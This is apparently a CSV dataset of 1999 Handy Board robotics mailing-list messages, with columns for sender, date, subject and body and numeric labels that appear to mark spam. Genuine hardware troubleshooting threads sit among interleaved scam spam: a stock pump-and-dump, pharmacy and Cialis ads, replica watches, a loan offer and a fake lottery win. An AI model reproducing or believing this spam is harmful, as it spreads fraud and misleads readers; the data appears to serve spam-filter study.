Loading lib_hb.lis. Loading lib_hb.c. Loading lib_hb.icb. Loading libexpbd.icb. Loading expsens.c. Loading expservo.icb. Loading explego.icb. lib_hb.c(2): parse error close to token ""*"" Errors, unloading files Doug Fred wrote: >OK, i've tried again, this time fixing lib_hb.c and hbsensor.c. > >if people continue to have problems, please let me know. thanks. > >fred ",0,0 Steve Owens ,handyboard@media.mit.edu,"Tue, 02 Feb 1999 06:24:33 -0800",what variety of 6811 can be used?," Dear Handy Board Enthusiasts: I'm new to the Handy Board (stumbled over it about two weeks ago). I understand that there are many types of 68HC11 chips--e.g., 68HC11A1FN, 68HC11A8, 68HC11 E series, and so on. I know that the 'A1FN is used in the design, but can others be substituted with minimal or no extra effort? If so, then which chips in particular can be substituted. I'm interested in using the 68HC11E1 because of its 512 bytes of RAM. By the way, what does the ""FN"" in ""68HC11A1FN"" signify? Thank-you for thinking back to your ""development"" days and answering a couple of basic questions. Steve ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Steve Wall ,handyboard@media.mit.edu,"Tue, 02 Feb 1999 10:59:28 -0500",motor connectors,"I am new at this but if there are four motor ports then why is there three connectors for each? Please help i.e the row of twelve female connetors behind the motor status LED'S please help ___________________________________________________ Steve Wall Sir Sandford Fleming college Swall@flemingc.on.ca ",0,0 Melba Cornelius <�!>,mallory@aleve.media.mit.edu,"Tue, 02 Feb 1999 11:20:09 -0100",Jack keeps the milk cold,"Heads Turn As IZON Makes Big Turn InZon Corp. annouced last month its development of a new technology that will allow large Tier 1 and Tier 2 providers to reduce there bandwidth requrments, allowing them to better utilize ther networks and incresae overall profits. Exposure of there technology to the market has generated a great deal of interest and word on the street is that they are preparing a announcment concerning several large contracts with major providers, giving them a huge competative jump in the market. take a look at the annoucement and reveiw the technology, but grab some IZON Tuesday before they drop the release to push this stock to the dollar marker. InZ0n Corporation S: I Z 0 N L: $0.38 Short $0.75 - $0.80 March News Release: I n Z o n Corp Revolutionizes Online Media Broadcasting With New Technology I Z O N released at end of day yesterday that they have completed their development of a new software that allows Online Broadcast Companies to better utilize their networks thus reducing their highest expense while at the same time increasing the quality of broadcasts allowing them to offer more HD (High definition) broadcasts over the Internet. Said inZon's CEO, David F. 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Martin"" ",doug@knowpeace.com,"Tue, 02 Feb 1999 11:27:41 -0500",Re: Expansion Board Files ,"argh! i'm sorry for this being so painful. doug (and anyone else who downloaded before 11:27 am today), please redownload and let me know if it's finally fixed. thank you, fred In your message you said: > Fred, > > I too am having trouble with parsing of the expansion libraries. > I just downloaded your new versions: > > lib_hb.c 2/2/99 8:15 AM > hbsensor.c 2/2/99 8:20 AM > > Error message as follows: > > Synchronizing with board > Pcode version 3.10 present on board > Loading lib_hb.lis. > Loading lib_hb.c. > Loading lib_hb.icb. > Loading libexpbd.icb. > Loading expsens.c. > Loading expservo.icb. > Loading explego.icb. > lib_hb.c(2): parse error close to token ""*"" > Errors, unloading files > > Doug > > > > Fred wrote: > > >OK, i've tried again, this time fixing lib_hb.c and hbsensor.c. > > > >if people continue to have problems, please let me know. thanks. > > > >fred > > ",0,0 michael rosenblatt ,handyboard@media.mit.edu,"Tue, 02 Feb 1999 11:54:36 -0500",2 servos ,"Hi. Is there any way to control two PWM servos (independently) from the handy board, without the expansion board? Michael ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Tue, 02 Feb 1999 09:05:18 -0800",Re: what variety of 6811 can be used?,"Steve - - - As a HandyBoard *old timer* (I've had mine for almost two months) I've found that the best source of 68HC11 info is Motorola. Their documentation is *free*. Here are 3 manuals that are a must: M68HC11RM/AD Reference Manual MC68HC11A8/D Technical Manual MC68HC11A8RG/AD Programming Reference Guide All three are available at: http://www.mot-sps.com/home/lit_ord.html - - - Nick - - - Steve Owens wrote: > > Dear Handy Board Enthusiasts: > > I'm new to the Handy Board (stumbled over it about two weeks ago). I > understand that there are many types of 68HC11 chips--e.g., 68HC11A1FN, > 68HC11A8, 68HC11 E series, and so on. > > I know that the 'A1FN is used in the design, but can others be > substituted with minimal or no extra effort? If so, then which chips in > particular can be substituted. I'm interested in using the 68HC11E1 > because of its 512 bytes of RAM. > > By the way, what does the ""FN"" in ""68HC11A1FN"" signify? > > Thank-you for thinking back to your ""development"" days and answering a > couple of basic questions. > > Steve ",0,1 michael rosenblatt ,handyboard@media.mit.edu,"Tue, 02 Feb 1999 12:21:08 -0500",LCD screen source," Where is the best place to order the LCD screen for building Handy Boards? I saw the part list said Hitachi, but I could not find any ordering info on their site. Does anyone have this contact info? thanks again, Michael ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Tue, 02 Feb 1999 09:32:25 -0800",Re: Expansion Board Files,"The 2/2/99 9:25 PST download worked fine for me. No extraneous characters in any of the files. - - - Nick - - - ""Fred G. Martin"" wrote: > > argh! i'm sorry for this being so painful. > > doug (and anyone else who downloaded before 11:27 am today), > > please redownload and let me know if it's finally fixed. > > thank you, > fred > ",0,0 Tami Draper ,handyboard@media.mit.edu,"Tue, 02 Feb 1999 13:23:49 +0001",All products for your health!,"http://qndjbt.trywest.info/?83401487 Suffering from pain, depression or heartburn? We'll help you! All verified dr@gs collected at one LICENSED online store! Great choice of wonderful meds to give you long-awaited relief! Operative support, fast shipping, secure p@yment processing and complete confidentiality! The store is VERIFIED BY BBB and APPROVED BY VISA! http://qndjbt.trywest.info/?83401487 ",1,1 Cesar Mello ,"Steve Owens , handyboard@media.mit.edu","Tue, 02 Feb 1999 17:59:30 -0200",Re: what variety of 6811 can be used?,"Hi! >Dear Handy Board Enthusiasts: > >I'm new to the Handy Board (stumbled over it about two weeks ago). I >understand that there are many types of 68HC11 chips--e.g., 68HC11A1FN, >68HC11A8, 68HC11 E series, and so on. >I know that the 'A1FN is used in the design, but can others be >substituted with minimal or no extra effort? If so, then which chips in >particular can be substituted. I'm interested in using the 68HC11E1 >because of its 512 bytes of RAM. > >By the way, what does the ""FN"" in ""68HC11A1FN"" signify? Hi Steve! I've put my hb to work yesterday, but I think I can help you a bit. The ""FN"" means the chip has ""plcc"" package, while the ""P"" would mean it's DIP package. The plcc is the one used in the Handy Board, as you can see the 52 pins are distributed in the four sides making it very compact. The DIP package is the one used in the other integrated circuits in the board, and in the case of the 68hc11A1P it has 48 pins, so you can imagine how big it is. About the on-chip ram (512 bytes in the e version), I think it won't make any difference as the HandyBoard memory space won't use it. From what I've seen briefly in the M68HC11 Reference Manual, it should work with no problems. Please ask for your Motorola books right now at the Literature Center in the Internet. It took about 15 days to arrive here in Brazil but it's VERY GOOD AND USEFUL!!! If you want I can send you some pages while yours doesn't arrive. See you, Cesar ",0,0 """Fred G. Martin"" ","Nick Taylor , Steve Owens ","Tue, 02 Feb 1999 15:08:17 -0500",Re: what variety of 6811 can be used? ,"> > I know that the 'A1FN is used in the design, but can others be > > substituted with minimal or no extra effort? If so, then which chips in > > particular can be substituted. I'm interested in using the 68HC11E1 > > because of its 512 bytes of RAM. why does the 512 bytes matter? the HB has 32K of external ram. i guess if you're planning to do rom-able code development then i understand. there's very little difference between the e and a series. the port A counter/timer pins are slightly more configurable in the e series. also the e series has a more finicky rom bootstrap routine, making it less compatible with the boot loaders. fred ps. FN is the package style: 52 pin PLCC. ",0,0 Will Bain ,Handyboard Mailing List ,"Tue, 02 Feb 1999 14:38:42 -0700",Re: 2 servos,"michael rosenblatt wrote: > Hi. Is there any way to control two PWM servos (independently) from the > handy board, without the expansion board? Sure is! Check out this page on the HB web site: http://el.www.media.mit.edu/groups/el/projects/handy-board/software/servo.html -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, You can't say civilization isn't advancing; Will Bain, in every war they kill you in a new way. & Tatoosh --Will Rogers ",0,1 Keith - Lui ,zcees34@ucl.ac.uk,"Tue, 02 Feb 1999 17:43:13 -0500",Re: Navigation and PID ressources for Handy Board,"> Dear Mr. Lui, > > I am using a handyboard as a PID controler and a navigating system for an > autnomous robot. I've seen in the HandyBoard mailing list that you were > also interested in these fields. Could you suggest me any ressources about > PID and/or navigating system using HB so I can furnish my program. > > Thanks a lot. > > Francois > > Francois, That's right, I was trying to use the PID for a control system but I finally gave up due to the small power supply from its motor outputs. The last time I browsed the HB web I did found some articles in the mail list, maybe you can get more info there. Regards, Keith ",0,0 Keith - Lui ,handyboard@media.mit.edu,"Tue, 02 Feb 1999 17:47:09 -0500",Motor outputs,"Dear all, I asked this question before but I might have used the wrong wordings. Here I try again. As you all know, the HB 's motor outputs give PVM, however, it gave me problems when I tried to amplify the power (both current and voltage.) Is there any way I can change in the software/hardware that the motor outputs gives constant voltages? Or, slow down the frequency of the pulses? Thanks! Keith ",0,0 """SHETTI.NITIN.MANGESH"" ","""Fred G. Martin"" ","Wed, 03 Feb 1999 06:39:56 -0500",Re: ROVER ,"Dear Mr Fred Martin, Thank you for your reply. We have used all HC chips in the handyboard. Yours sincerely, Nitin On Tue, 2 Feb 1999, Fred G. Martin wrote: > are you using 74HC04, and not plain 7404? you must use all HC type > chips in the Handy Board. > > fred > > In your message you said: > > Dear Mr Fred Martin, > > I hope you remember that we in India were making a rover ,which in > > the end ran into some problems.We had to present the inoperational rover > > only for the exhibition. Now,after the exhibition we are trying to make > > the rover work. > > We have noticed two things-7404 is not being accepted by the handy > > board,this is inspite of the fact that 7404 tests fine with the digital IC > > tester. > > The 74138 pins must be pulsing according to the handy board > > assembly manual, but when we checked it wasn't. > > Can anybody make sense of what is going on? Please reply soon. > > Yours sincerely, > > Nitin > > > > > > ",0,0 """John S. Schneekloth"" ",handyboard@media.mit.edu,"Tue, 02 Feb 1999 20:43:02 -0500",Re: Expansion Board Files,"Doug Are you using the freeware version of IC or the Newton labs version of IC. I just downloaded the latest expansion board library files and I get the following Synchronizing with board Pcode version 3.10 present on board Loading C:\\IC\\libs\\lib_hb.lis. Loading C:\\IC\\libs\\lib_hb.c. Loading C:\\IC\\libs\\lib_hb.icb. Loading C:\\IC\\libs\\libexpbd.icb. Loading C:\\IC\\libs\\expsens.c. Loading C:\\IC\\libs\\expservo.icb. Loading C:\\IC\\libs\\explego.icb. Initializing interrupts Downloading 2036 bytes (addresses 8000-87F3): 2036 loaded Downloading 94 bytes (addresses 87F4-8851): 94 loaded Downloading 16 bytes (addresses 8852-8861): 16 loaded Board synchronization error: sent 98, received 12 errors Errors, unloading files Cannot find file lib_hb.lis or file lib_hb.lis Ready Previously I got the same error message noted in your post. John ""Fred G. Martin"" wrote: > argh! i'm sorry for this being so painful. > > doug (and anyone else who downloaded before 11:27 am today), > > please redownload and let me know if it's finally fixed. > > thank you, > fred > ",0,0 """John S. Schneekloth"" ",michael rosenblatt ,"Tue, 02 Feb 1999 21:11:25 -0500",Re: LCD screen source,"A few years back I got an Optrex DMC16249 LCD from Digikey http://www.digikey.com/ Look for Digikey part no.73-1037-ND . I just checked there web site and they still have the same part. The Optrex LCD is a perfect fit for the HB John michael rosenblatt wrote: > Where is the best place to order the LCD screen for building Handy Boards? > I saw the part list said Hitachi, > but I could not find any ordering info on their site. Does anyone have > this contact info? > > thanks again, > Michael ",0,1 Mckown Amya ,handyboard@media.mit.edu,"Tue, 02 Feb 1999 18:26:46 -0500","help ""me"" getting rid of stress, fatigue and depression","but oviform be mainland be antique not ferguson be mite ",1,0 """Robert J. Kelly"" ",handyboard@media.mit.edu,"Tue, 02 Feb 1999 22:52:00 -0500",Problems with servo function,"Hi all, I'm new to the list, handyboards, IC, and robotics, but I'm not totally clueless so bear with me... So I got an HB from Pat Hui, and it seems to work fine. I've been able to write a program that will vary a beep tone and print variable values for light intensity and tone value (my first program!). It uses for now, eight duracels in the supplied battery case. My problem seems to be the servo function. I've wired a Futaba 148 as per instructions and loaded servo.icb and servo.c. there are no other programs loaded. I am running IC ver 3.2, though the screen still prints ver 3.1(?). I have initialized the servo function by typing ""servo_on()"" at the IC prompt. I can't seem to get any activity through the servo using interactive commands such as ""servo(1550)"" or ""servo_deg(45.0)"", agin, at the IC prompt. When I run these commands, I do get a value returned occasionally from the board though with no servo activity. More likely I get an error message - ""Board not responding to 119 (w) command"". Am I doing something wrong here? Do I need to implement the commands through an actual c program? Wrong batteries? Somebody please help the lowly newbie! Thanks alot. If you do send a response to the board, please cc my direct mail address, I might not be able to find the post on the list. Thanks again. ",0,0 doug@knowpeace.com,"""Fred G. Martin"" ","Tue, 02 Feb 1999 22:07:15 -0800",Re: Expansion Board Files ,"Fred Martin wrote: >doug (and anyone else who downloaded before 11:27 am today), I finally got back to this ... had to go to the day job ... :) >please redownload and let me know if it's finally fixed. ... and everything loads just fine now. Thanks Fred, for this and everything that you are doing. I'm just getting into this stuff but so far I am having a blast. -- Doug ",0,0 doug@knowpeace.com,"""John S. Schneekloth"" ","Tue, 02 Feb 1999 22:21:14 -0800",Re: Expansion Board Files,"John S. Schneekloth wrote: >Are you using the freeware version of IC or the Newton labs version of >IC. I am using the Newton labs version 3.2. I just downloaded the newly updated files from http://el.www.media.mit.edu/groups/el/projects/handy-board/hbexp30/ and everything loads properly now. It seems that some erroneous characters were in a few of the files, but that all are fixed now. >Cannot find file lib_hb.lis or file lib_hb.lis Try downloading the files again, and make sure they are in the ic\\libs directory, not the folder \\ic\\libs\\expansion-libs that winzip created upon extraction. You have to manually copy these to the \\ic\\libs directory. Also, note that the lib_hb.c file in the expansion file set replaces the old one. Which version of IC are you using? -- Doug ",0,1 doug@knowpeace.com,"""Robert J. Kelly"" ","Tue, 02 Feb 1999 22:33:20 -0800",Re: Problems with servo function,"Robert J. Kelly wrote: [servo discussion snipped] >I am running IC ver 3.2, though the screen still prints ver 3.1(?) Mine does the same thing, displaying version IC version 3.1 on the LCD display, even with the new pcode installed. I am supecting that Newton Labs forgot to change the text display routine in the new v3.2 pcode. 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I think the plan is that we will stop making them by the end of the year. We are moving all customers over to the 68HC11E family. MOTOROLA IS NOT ABOUNDING THE 68HC11 FAMILY. We are simply reducing the number of devices in the family. The 68HC11E family is almost completely compatible with the A family, it has more features and a lot more customers and volume. There is an application note on moving between the A and E family on the Motorola WWW site. 68HC11A family parts should still be available from distributors and surplus companies for several years. ""Fred G. Martin"" wrote: > there's very little difference between the e and a series. the port A > counter/timer pins are slightly more configurable in the e series. > also the e series has a more finicky rom bootstrap routine, making it > less compatible with the boot loaders. -- Jeff __________________________________________________________________ \\ Jeff Loeliger Motorola SPS \\ \\ email: r12110@email.sps.mot.com Systems Engineering Department\\ \\ phone: +44-1355-56-5400 Powertrain Systems Division \\ \\ fax : +44-1355-56-6300 East Kilbride, Scotland \\ \\ Motorola Internal: http://ncsg-euroweb.sps.mot.com/~r12110 \\ \\_________________________________________________________________\\ ",0,1 Scarlet ,handyboard@media.mit.edu,"Wed, 03 Feb 1999 10:39:09 +0000",Fwd: Re[2]: maybe interesting for you.,"Hi there, Try this special product, Cialis. We have millions of happy customers alI around the worId .You wilI get the perfect feeIinq of being a man again! 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If U6 is removed, everything is fine, the GRN LED goes off when put in bootstrap mode, all downloading is fine. We did have to change 6811s to get this far (original one didn't work), but it seems solid now, but only if U6 not installed. Any suggestions? --greg ***************************************************************** * Greg Starr, Professor * * Department of Mechanical Engineering ph (505) 277-6298 * * University of New Mexico, Albuquerque NM 87131 FAX 277-1571 * * email- starr@unm.edu WWW- http://www.me.unm.edu/~starr/ * ***************************************************************** ",0,1 """Fred G. Martin"" ",Greg Starr ,"Wed, 03 Feb 1999 13:25:40 -0500",Re: HB bootstrap problem when U6 installed ,"I assume you've tried other HC138's, and that it's not a case of a faulty chip? fred In your message you said: > One of my students is having a problem in assembling their HB: > > Downloading and executing IC works fine _until_ U6 is installed. After > installing U6 ('138) the GRN LED doesn't quite go off when putting the > board in bootstrap mode, it glows faintly. And we can't download the > bootstrap. > > If U6 is removed, everything is fine, the GRN LED goes off when put in > bootstrap mode, all downloading is fine. > > We did have to change 6811s to get this far (original one didn't work), but > it seems solid now, but only if U6 not installed. > > Any suggestions? > > --greg > > ***************************************************************** > * Greg Starr, Professor * > * Department of Mechanical Engineering ph (505) 277-6298 * > * University of New Mexico, Albuquerque NM 87131 FAX 277-1571 * > * email- starr@unm.edu WWW- http://www.me.unm.edu/~starr/ * > ***************************************************************** > > > ",0,1 Darkman ,"Tey Chee Beng , Handy Board mailing list ","Wed, 03 Feb 1999 15:59:31 -0500",Re: Decoding Infrared receiver,"Make sure that your modulating the transmision part with the correct frequency! When I built my handy board I tested the IR TX circuit and it gave me 57kHz instead of 40 kHz and I did use all the correct resistor capacitor values. I suggest that you check the output freq using a scope and make sure is whithen tolerance! -----Original Message----- From: Tey Chee Beng To: Handy Board mailing list Date: Tuesday, February 02, 1999 8:13 AM Subject: Decoding Infrared receiver >Dear Mr Fred Martin/Friends, > >I have been playing with the handyboard for a while now, currently I have >four handyboards. >I'm working on the communication module between the handyboards using the >infrared emitter and the Sharp IS1U60 infrared demodulator. Currently, I >have this problem, I was unable to sample or decode the data from the Sharp >IS1U60 infrared demodulator, as the transmission part is OK. > >The data transmitted from the infrared emitter is in the form of: >- 1 Start bit, 8 data bit and 1 stop bit, with a frequency of 400Hz/2.5ms >for 1 bit (for testing purpose). > >As for the receiver part, the Sharp IS1U60 infrared demodulator is used and >is connected to the port PA2/TIC1. So the excepted data pulses received >after the Sharp IS1U60 infrared demodulator or at the port PA2/TIC1 will be >a low pulse (start bit), follow by the data (8 bits), and another low pulse >(stop bit). When there is no data, the port PA2/TIC1 will always read high >(logic '1'). > >(Codes written) >Interrupt will be generated when there is a falling edge detected on the >port PA2/TIC1, which is the start bit of the transmitted data. Upon >interrupt, 68HC11 will wait for 1.25ms, which is about the center of the >Start bit, and sampled the port PA2/TIC1 for the logic level (either a '1' >or a '0'). A logic '0' should be read from port PA2/TIC1, but that is not my >case, coz I always read a logic '1' at port PA2/TIC1. Does anyone know >what's the problem ? > >The following codes is used to read port PA2/TIC1, >PORTA EQU $1000 > >CLRA >LDAB PORTA >STD PA2 (PA2 is a two bytes variable) > >Even if I read the port PA2/TIC1 immediately in the interrupt subroutine, I >still get a logic '1' instead of a logic '0'. I have double check with the >oscilloscope that a logic '0' should be the correct value instead of a logic >'1'. > >But with the Sharp IS1U60 infrared demodulator removed, and port PA2/TIC1 >short to the ground, a logic '0' can be read. > >What is the problem, does anyone ever faced the same problem before ? >Or is it because port PA2/TIC1 cannot handle a string of high frequency >pulses. > >Any comments on this issue.... > >Thanks in advance, >James >",0,0 Kat ,Greg Starr ,"Wed, 03 Feb 1999 13:21:24 -0800",Re: HB bootstrap problem when U6 installed," Originally I had problems putting my Handy Board into bootstrap mode. The problem seemed to be that we had the wrong power source, and had to keep it in zap mode for it to work properly. On Wed, 3 Feb 1999, Greg Starr wrote: > One of my students is having a problem in assembling their HB: > > Downloading and executing IC works fine _until_ U6 is installed. After > installing U6 ('138) the GRN LED doesn't quite go off when putting the > board in bootstrap mode, it glows faintly. And we can't download the > bootstrap. > > If U6 is removed, everything is fine, the GRN LED goes off when put in > bootstrap mode, all downloading is fine. > > We did have to change 6811s to get this far (original one didn't work), but > it seems solid now, but only if U6 not installed. > > Any suggestions? > > --greg > > ***************************************************************** > * Greg Starr, Professor * > * Department of Mechanical Engineering ph (505) 277-6298 * > * University of New Mexico, Albuquerque NM 87131 FAX 277-1571 * > * email- starr@unm.edu WWW- http://www.me.unm.edu/~starr/ * > ***************************************************************** > > > ",0,1 Boyd Munoz ,"handyboard@media.mit.edu, charlene@media.mit.edu, alberta@media.mit.edu, twila@media.mit.edu, cornelia@media.mit.edu, craig@media.mit.edu","Wed, 03 Feb 1999 14:47:42 -0400",George Bush got one,"REPLICASONLINE - WE NEVER COMPROMISE ON QUALITY Rolex replica is our speciality We guarantee lowest prices and highest quality We are the Direct manufacturers. For top quality rolex watchs pleas visit: http://051.sheisboringtwo.com Best regards, Boyd Munoz daimler you megabyte me, wier . transcontinental you stun me, acerbity bedspread . accrue you coot me, acrobat continue reverie alpine . cornea you feldspar me, colloq interior flick dye . pompeii you robotics me, stableman gush inspect . above you awake me, respectful salesian seafare map . nevins you causal me, spavin . http://www.sheisboringtwo.com/rm/ ",1,1 Will Bain ,Handyboard Mailing List ,"Wed, 03 Feb 1999 16:09:26 -0700",Re: Motor outputs,"Keith - Lui wrote: > As you all know, the HB 's motor outputs give PVM, however, it gave me problems > when I tried to amplify the power (both current and voltage.) > > Is there any way I can change in the software/hardware that the motor outputs > gives constant voltages? Or, slow down the frequency of the pulses? I'm not quite sure if this is what you are looking for, but if you need to run motors that are not compatible with the HB's built-in H-bridge, try one of the following: (1) If you need up to twice the current, try piggybacking more motor driver IC's on top of the HB's motor driver IC's. (2) If you need different voltage, try severing the trace on the HB that connects the HB battery and the HB motor power header, and plugging in a separate motor battery pack. (3) If you need a much heavier-duty motor driver, try building a separate, external H-bridge or other type of motor drive circuit. A very simple, inexpensive one is described on the HB web site. Best of luck to you. -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, The fellow who agrees with everything you say Will Bain, is either a fool or he is getting ready & Tatoosh to skin you. --Kin Hubbard ",0,0 Will Bain ,Handyboard Mailing List ,"Wed, 03 Feb 1999 16:36:12 -0700",Re: Problems with servo function,"> Robert J. Kelly wrote: > So I got an HB from Pat Hui, and it seems to work fine. I've been able > to write a program that will vary a beep tone and print variable > values for light intensity and tone value (my first program!). It uses > for now, eight duracels in the supplied battery case. > > My problem seems to be the servo function. I've wired a Futaba 148 as > per instructions and loaded servo.icb and servo.c. there are no other > programs loaded. I am running IC ver 3.2, though the screen still > prints ver 3.1(?). I have initialized the servo function by typing > ""servo_on()"" at the IC prompt. I can't seem to get any activity > through the servo using interactive commands such as ""servo(1550)"" or > ""servo_deg(45.0)"", agin, at the IC prompt. When I run these commands, > I do get a value returned occasionally from the board though with no > servo activity. More likely I get an error message - ""Board not > responding to 119 (w) command"". If you're trying to use the servo.c and servo.icb that came with the Interactive C distribution, therein lies your problem. I think those routines are designed strictly for the MIT 6.270 controller board, not for the HB (if I'm wrong about this, somebody please correct me). For instructions on how to run one or two servos from the HB, check out the HB web site. I tried it with my HB from Mr. Hui, and it worked great. Make sure you provide the correct voltage to the servos since the HB voltage might fry 'em ;-] -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, The fellow who agrees with everything you say Will Bain, is either a fool or he is getting ready & Tatoosh to skin you. --Kin Hubbard ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Wed, 03 Feb 1999 17:53:57 -0800",Re: what variety of 6811 can be used?,"Jeff - - I can't locate the App. Note. Will you please post the link. Thanks, - - - Nick - - - Jeff Loeliger wrote: > > Everyone and Fred, > > Just to let everyone know, Motorola is currently doing an ""End of Life"" > buy on the 68HC11A family. There is an application note on moving between the > A and E family on the Motorola WWW site.",0,0 javaid iqbal ,Handy Board ,"Thu, 04 Feb 1999 12:55:10 +1100",Expansion board of Rug Warrior Pro,"Hi All, I am using Rug Warrior pro for my thesis work. I want to add more IR emitter and detector on my robot. Can anybody advise me regarding the expansion board and from where I can get it. Thanks in advance javaid Iqbal ",0,0 """John S. Schneekloth"" ",doug@knowpeace.com,"Wed, 03 Feb 1999 21:08:39 -0500",Re: Expansion Board Files,"Doug I am using Newton Labs IC 3.2. Thinking that the reason the expansion board files were not working was that they were not compatible with Newton Labs IC, I tried to get the freeware version to work. I changed my com port settings to try to get the freeware version to work(without luck because of the bad expansion board files). After downloading the latests expansion board files I forgot to change the com port settings back. After changing the settings back, the expansion board now works fine. Thanks for the help. John doug@knowpeace.com wrote: > John S. Schneekloth wrote: > > >Are you using the freeware version of IC or the Newton labs version of > >IC. > > I am using the Newton labs version 3.2. I just downloaded the newly > updated files from > > http://el.www.media.mit.edu/groups/el/projects/handy-board/hbexp30/ > > and everything loads properly now. It seems that some erroneous > characters were in a few of the files, but that all are fixed now. > > >Cannot find file lib_hb.lis or file lib_hb.lis > > Try downloading the files again, and make sure they are in the > ic\\libs directory, not the folder \\ic\\libs\\expansion-libs that > winzip created upon extraction. You have to manually copy these > to the \\ic\\libs directory. Also, note that the lib_hb.c file > in the expansion file set replaces the old one. > > Which version of IC are you using? > > -- Doug ",0,1 """Joe Marie J. Maja"" ",HandyBoard ,"Thu, 04 Feb 1999 11:19:46 +0900",sensors for tennis ball,"Hello everyone, I am wondering if anybody have done something like a sensor that can detect a tennis ball, probably 10 - 15 cm. away. If someone have done this one, kindly sent some information. I am trying to build a multi-robot, where one should get the tennis ball and pass it to the other who will dump the ball to some pre-specified place. I already finished with the DUMPER thing but I am still looking for a sensor that can locate the tennis ball (not the vision sensor - it's a bit expensive) Thanks in advance and am looking forward on it. joema ",0,0 """Carol G. Rosaire III"" ",handyboard@media.mit.edu,"Wed, 03 Feb 1999 09:18:24 -0600",Unsubscribe,"I would like to unsubscribe from the mailing list. Thank you ____________________________________________________________ Carol G. Rosaire III Office 713.807.0804 Sr. Systems Eng. Fax 713.558.0597 Ascend Communications, Inc. Houston, TX ""Good judgment is borne from experience, and experience is usually borne from bad judgment."" -- Anon ____________________________________________________________",0,1 """Fred G. Martin"" ","Greg Starr , handyboard@media.mit.edu","Wed, 03 Feb 1999 22:01:32 -0500",HB bootstrap problem when U6 installed,"i am guessing that some of the inputs to u6 are defective, causing it to assert its outputs when it shouldn't. this could turn on the '244 input latch, driving the bus when it should not. please check that pins 1 through 6 signals are oscillating (with the chip removed and installed). with the chip installed, check that pins 7 and 9 are not pulsing--- should be high. fred > One of my students is having a problem in assembling their HB: > > Downloading and executing IC works fine _until_ U6 is installed. > After installing U6 ('138) the GRN LED doesn't quite go off when > putting the board in bootstrap mode, it glows faintly. And we can't > download the bootstrap. > > If U6 is removed, everything is fine, the GRN LED goes off when put in > bootstrap mode, all downloading is fine. > > We did have to change 6811s to get this far (original one didn't > work), but it seems solid now, but only if U6 not installed. > > Any suggestions? > > --greg ",0,0 Christopher ,handyboard@media.mit.edu,"Thu, 04 Feb 1999 03:04:14 +0500",Your bill Consolidation Account,"Dear Home Owner, Your credit doesn't matter to us! If you OWN real estate and want IMMEDIATE cash to spend ANY way you like, or simply wish to LOWER your monthly payments by a third or more, here are the deals we have TODAY (hurry, these offers will expire TONIGHT) : $488,000.00 as low as 3.67,% $372,000.00 as low as 3.90,% $492,000.00 as low as 3.21,% $248,000.00 as low as 3.36,% $198,000.00 as low as 3.55,% Hurry, when these deals are gone, they are gone! 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I used an in accurate list to order my components and have a 2.94K resistor instead of 3.83K as per the other list I have and the assembly manual. My question is; Is the resistor only used for the IR circuit and if so I can run without it, correct? I want to wait until I need something else before I order just a couple of resistors. any help is appreciated! Keith L ",0,0 Jeff Loeliger ,Nick Taylor ,"Thu, 04 Feb 1999 08:52:55 +0000",Re: what variety of 6811 can be used?,"Nick, Sorry, I should have posted the link but I was out of the office yesterday and could not remember where it was. Motorola has an Engineering Bulletin call ""Replacing 68HC11A Series MCUs with 68HC11E Series MCUs"", it can be found at: http://www.mcu.motsps.com/lit/bulletins/eb193.pdf Nick Taylor wrote: > Jeff - - > I can't locate the App. Note. Will you please post the link. > Thanks, > - - - Nick - - - > Jeff Loeliger wrote: > > > > Everyone and Fred, > > > > Just to let everyone know, Motorola is currently doing an ""End of Life"" > > buy on the 68HC11A family. > > There is an application note on moving between the > > A and E family on the Motorola WWW site. -- Jeff __________________________________________________________________ \\ Jeff Loeliger Motorola SPS \\ \\ email: r12110@email.sps.mot.com Systems Engineering Department\\ \\ phone: +44-1355-56-5400 Powertrain Systems Division \\ \\ fax : +44-1355-56-6300 East Kilbride, Scotland \\ \\ Motorola Internal: http://ncsg-euroweb.sps.mot.com/~r12110 \\ \\_________________________________________________________________\\",0,1 doug@knowpeace.com,handyboard@media.mit.edu,"Thu, 04 Feb 1999 00:55:37 -0800",Memory erase or reset?,"Hello, I have been loading an alternative runtime environment (not IC) onto the handy board to test it out, and I want to ensure that all of the RAM is erased before doing so. I can use the unload command in IC to delete all of the .c files, but how do I get ride of the IC runtime? Is there a command to erase the RAM, or is there some kind of reset function? TIA, Doug ",0,0 """ www.lotto.nl"" ",winners ,"Wed, 03 Feb 1999 20:59:42 -0800",You have Won,"Lotto. NL Suite 120 1007 South/Zuld, 1NL Meppo Holland (Customer Services) Ref: NL/8161/99 Batch: NL/BE12-11 Government Accredited Licensed lottery promoters. International Promotions/Prize Award Department Login to Website: www.lotto.nl We are please to announce you as one of the 10 lucky winners in the national lottery held on the 13th May, 2006. All 10 winning addresses were randomly selected from a batch of 50,000,000 international emails. Your email address emerged alongside 9 others as a category 2 winner in this year Lotto. NL game drawConsequently, you have therefore been approved for a total pay out of 1,000,000 (one million Euros) only. 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Yesterday me and my colleague made some experiences with a stepper motor, it worked very well. The only problem I've seen is with digital inputs 3, 4 and 5, they don't seem to work, stand always in 0. Should this be some problem related to the non-LCD version of pcode_hb.s19? Another doubt I have is related to the MC68HC711E9. Do I need an EPROM programmer to put software in it? There is a bargain here but I have to buy 23 pieces, so I need to know about this. Any suggestions? Maybe speaking more clearly, I'd like to know if I can save a program to its EPROM using a downloader like DL, by the mcu serial port. Thank you a lot for the attention. See you, Cesar ",0,0 """Fred G. Martin"" ",Keith ,"Thu, 04 Feb 1999 07:01:31 -0500",Re: R4 Resistor ,"where is this list that says 2.94K? please tell me so i can eradicate the incorrect value. to answer, yes, just use it, it affects the IR xmit frequency and 